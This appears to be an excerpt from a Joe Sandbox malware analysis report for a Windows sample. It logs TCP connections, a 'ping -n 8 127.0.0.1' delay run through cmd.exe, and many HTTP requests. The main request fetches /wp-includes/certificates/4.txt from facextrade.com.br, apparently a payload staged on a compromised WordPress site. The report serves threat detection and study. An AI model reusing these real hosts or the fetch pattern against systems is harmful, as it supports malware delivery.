Source: global traffic	TCP traffic: 192.168.2.4:49796 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49796 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49796 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49795 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49796 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49795 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49796 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49795 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49796 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49795 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49796 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49795 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49796 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49795 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49796 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49795 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49796 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49796 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49795 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.4:49796 -> 187.45.240.69:80

Networking

Uses ping.exe to check the status of other devices and networks

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\PING.EXE ping -n 8 127.0.0.1

Source: Joe Sandbox View

ASN Name: LocawebServicosdeInternetSABR LocawebServicosdeInternetSABR

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Joe Sandbox View	IP Address: 104.18.10.207 104.18.10.207
Source: Joe Sandbox View	IP Address: 104.18.10.207 104.18.10.207
Source: Joe Sandbox View	IP Address: 187.45.240.69 187.45.240.69

Source: global traffic	HTTP traffic detected: GET /translate_a/element.js?cb=googleTranslateElementInit2 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Connection: Keep-AliveHost: translate.google.comCookie: CONSENT=YES+GB.en-GB+V9+BX
Source: global traffic	HTTP traffic detected: GET /wp-includes/certificates/4.txt HTTP/1.1Accept: /Accept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: netdna.bootstrapcdn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/bootstrap/css/bootstrap.css HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /translate_a/element.js?cb=googleTranslateElementInit2 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: translate.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/bootstrap/css/responsive.css HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/css/camera.css HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/style.css HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/FlexSlider/flexslider.css?ver=2.2.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.carousel.css?ver=1.24 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.theme.css?ver=1.24 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/wp-emoji-release.min.js?ver=4.9.20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/gtranslate/gtranslate-style24.css?ver=4.9.20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-parallax/css/parallax.css?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/bannerrotator/css/banner-rotator.css?ver=4.9.20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/bannerrotator/css/caption.css?ver=4.9.20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/lib/owl/assets/owl.carousel.min.css?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets//lib/owl/assets/owl.theme.default.min.css?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/lib/animate/animate-logo.css?ver=20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/css/logo-slider-wp-public.css?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/main-style.css HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/css/magnific-popup.css?ver=0.9.3 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/motopress-content-editor/includes/css/theme.css?ver=1.5.8 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/motopress-content-editor/bootstrap/bootstrap-grid.min.css?ver=1.5.8 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/style.css HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/elasti-carousel/jquery.elastislide.js?ver=1.2.8.1 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/bannerrotator/js/jquery.flashblue-plugins.js?ver=4.9.20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/js/logo-slider-wp-public.js?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/lib/owl/owl.carousel.js?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/swfobject.js?ver=2.2-20120417 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/css/style.css HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/custom.js?ver=1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.mobile.customized.min.js HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2018/08/facex_horizontal2-e1535501425981.png HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/gtranslate/flags/16/pt-br.png HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/images/content_bg4.jpg HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/FlexSlider/jquery.flexslider-min.js?ver=2.2.2 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/gtranslate/switcher.png HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/gtranslate/arrow_down.png HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/jquery.simplr.smoothscroll.min.js?ver=1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
